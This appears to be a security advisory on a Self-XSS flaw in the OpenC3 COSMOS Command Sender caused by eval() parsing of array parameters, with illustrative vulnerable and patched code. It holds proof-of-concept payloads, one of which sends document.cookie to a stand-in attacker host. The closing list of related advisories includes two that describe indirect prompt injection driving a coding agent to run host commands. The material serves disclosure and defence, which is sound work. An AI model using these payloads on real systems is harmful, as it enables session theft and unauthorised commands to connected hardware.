Apr 23, 2026·6 min read·16 visits
Unsafe use of eval() in the OpenC3 COSMOS Command Sender interface allows for Self-XSS via crafted array-like parameters. The issue is remediated in version 7.0.0.
OpenC3 COSMOS versions prior to 7.0.0 contain a vulnerability in the Command Sender UI where array-like command parameters are processed using the unsafe eval() function. This design flaw permits the execution of arbitrary JavaScript within the user's browser context.
OpenC3 COSMOS is a telemetry and command system designed to interface with embedded systems, satellites, and test equipment. The Command Sender user interface is a core component that allows operators to manually construct and transmit commands to connected hardware. Commands often require complex parameters, such as arrays or nested data structures, to properly format the outgoing telemetry frames.
The attack surface exists within the web-based Command Sender UI, specifically in the input fields designated for these array-like or structured command parameters. Versions of OpenC3 COSMOS prior to 7.0.0 fail to properly neutralize input entered into these specific parameter fields. This constitutes an Improper Neutralization of Input During Web Page Generation, categorized under CWE-79.
The vulnerability manifests because the application relies on the JavaScript eval() function to parse user-supplied strings into JavaScript objects. By providing a specifically crafted string containing executable JavaScript syntax, an attacker can force the browser to execute arbitrary code within the security context of the COSMOS application session.
The root cause of this vulnerability is the frontend application's architectural decision to use eval() for deserializing complex parameter inputs. When a user interacts with the Command Sender, they must provide values for the defined parameters of a selected command. If a command defines an array type, the frontend receives the user's input as a plain text string.
To convert this string representation back into a usable JavaScript array for subsequent processing and API transmission, the application executes eval(inputString). The eval() function invokes the JavaScript interpreter on the provided string. This is inherently unsafe when handling data derived from user input, as the interpreter cannot distinguish between data structures and executable instructions.
The vulnerability is triggered precisely when the provided string contains valid JavaScript expressions instead of, or in addition to, the expected data structure. Because no sanitization or strict type validation occurs before the evaluation, the browser executes the payload immediately upon parsing.
In the vulnerable versions of the OpenC3 COSMOS frontend, the parsing logic for array-like inputs directly invokes the eval() function. The application attempts to rapidly convert user string input representing arrays into native JavaScript arrays without enforcing a strict serialization format like JSON.
// Illustrative Vulnerable Implementation
function parseCommandParameter(inputStr) {
// The inputStr is passed directly into eval()
// If inputStr is "[alert(1)]", the browser executes the alert.
let parsedArray = eval(inputStr);
return parsedArray;
}The remediation implemented in OpenC3 COSMOS version 7.0.0 eliminates the use of eval() for parameter parsing. The developers replaced the dynamic evaluation with secure parsing methodologies, primarily enforcing the use of JSON.parse() for structured data, which strictly validates the input as data and prevents code execution.
// Illustrative Patched Implementation
function parseCommandParameter(inputStr) {
try {
// JSON.parse strictly expects data formats, refusing executable code.
let parsedArray = JSON.parse(inputStr);
return parsedArray;
} catch (e) {
// Handle invalid format gracefully without execution
console.error("Invalid parameter format");
return null;
}
}Exploitation of this vulnerability requires the attacker to introduce a malicious payload into the Command Sender input fields. The attacker must target a command that expects an array or structured parameter, as these are the specific fields processed by the vulnerable eval() logic. The payload must be formatted such that it is valid JavaScript syntax, typically enclosing the payload within array brackets to align with the expected input structure.
A typical proof-of-concept payload takes the form of [alert(document.cookie)] or [fetch('https://attacker.example.com/?cookie='+document.cookie)]. When the user submits the form or triggers the field evaluation, the application executes eval("[alert(document.cookie)]"). The browser executes the alert function, demonstrating arbitrary code execution within the application's origin.
This vulnerability is classified as Self-XSS because the execution occurs in the session of the user providing the input. Weaponization requires social engineering. An attacker must convince an authenticated operator to paste a malicious string into the Command Sender, or the attacker must compromise a shared configuration file containing pre-defined malicious command parameters that the operator subsequently imports.
The execution of arbitrary JavaScript within the OpenC3 COSMOS application context yields a moderate security impact. The attacker gains full access to the Document Object Model (DOM), allowing them to read sensitive telemetry data displayed in the UI, manipulate the interface, and access session tokens stored in cookies or local storage.
Furthermore, the executed script operates with the authenticated user's privileges. The script can silently issue unauthorized commands to connected satellites or embedded systems via the COSMOS API on behalf of the victim. This compromises the integrity of the command and control infrastructure managed by the software.
The CVSS v3.1 vector evaluates to 5.4 (Moderate). The score is constrained by the strict requirement for user interaction (UI:R) and the localized nature of the execution. The attacker cannot autonomously trigger the payload against other users without relying on social engineering or secondary configuration injection vectors.
The primary and complete remediation for this vulnerability is upgrading the OpenC3 COSMOS installation to version 7.0.0 or later. This release fundamentally alters the input handling mechanism within the Command Sender UI, entirely removing the unsafe eval() calls and replacing them with secure JSON parsing and strict input validation.
For environments where immediate patching is not feasible, operational workarounds must be enforced. Administrators must instruct operators never to paste untrusted or unverified command parameters into the Command Sender interface. Any shared command configurations or scripts imported from third parties must be manually reviewed for malicious JavaScript payloads prior to execution.
Additionally, organizations can implement protective monitoring controls. Web Application Firewalls (WAFs) can be tuned to detect and alert on common JavaScript execution primitives (such as alert, fetch, document.cookie) within POST requests destined for the COSMOS API. However, client-side execution means WAFs will not prevent the initial DOM-based evaluation, making the software upgrade the only definitive fix.
CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N| Product | Affected Versions | Fixed Version |
|---|---|---|
OpenC3 COSMOS OpenC3 | < 7.0.0 | 7.0.0 |
| Attribute | Detail |
|---|---|
| CWE ID | CWE-79 |
| Attack Vector | Network |
| CVSS Score | 5.4 |
| Impact | Moderate (Self-XSS) |
| Exploit Status | Proof of Concept |
| CISA KEV Status | Not Listed |
The software does not neutralize or incorrectly neutralizes user-controllable input before it is placed in output that is used as a web page that is served to other users.
CVE-2026-73557 details a race condition vulnerability in the vLLM serving framework, arising from the thread-unsafe usage of PyTorch's process-global sparse tensor invariant check manager. When processing concurrent requests with custom prompt or multimodal embeddings, concurrent thread execution can disable global tensor integrity checks. An unauthenticated attacker can leverage this timing window to submit malformed sparse coordinate (COO) tensors containing out-of-bounds indices, causing memory corruption and process crashes (Denial of Service).
A critical-severity missing authentication and privilege management vulnerability was identified in the OpenChoreo cluster-gateway component. The gateway exposed internal management endpoints, including arbitrary Kubernetes proxying and execution interfaces, on an unauthenticated port. An adjacent attacker within the control-plane network can bypass RBAC controls entirely and gain administrative control over all connected data planes.
An unauthenticated remote shutdown vulnerability exists in the Microsoft TypeSpec Spector mock server. Due to missing authentication on critical administrative routes and binding to all network interfaces, any remote attacker can shut down the mock server.
A detailed technical breakdown of CVE-2026-72796 (GHSA-fgmr-7w36-9qfq), an access control bypass vulnerability in the SiYuan personal knowledge management system. Prior to version 3.7.4, inconsistent authorization checks between dynamic API endpoints and static file routes allowed authenticated low-privilege readers or anonymous public users to read sensitive files, templates, snippets, and export directories.
CVE-2026-75858 is a critical authorization bypass vulnerability in CodeWhale's interactive execution tools, allowing silent, unprompted execution of model-supplied Python and shell commands on the host machine. The defect affects versions between 0.8.41 and 0.8.64, bypassing any configured approval policies via indirect prompt injection.
CVE-2026-75911 is a configuration injection and remote code execution vulnerability in CodeWhale. Unsafe merging of repository-level TOML configuration files allows malicious repositories to silently enable shell tool registration and inject prompts, forcing the integrated LLM agent to execute arbitrary host commands.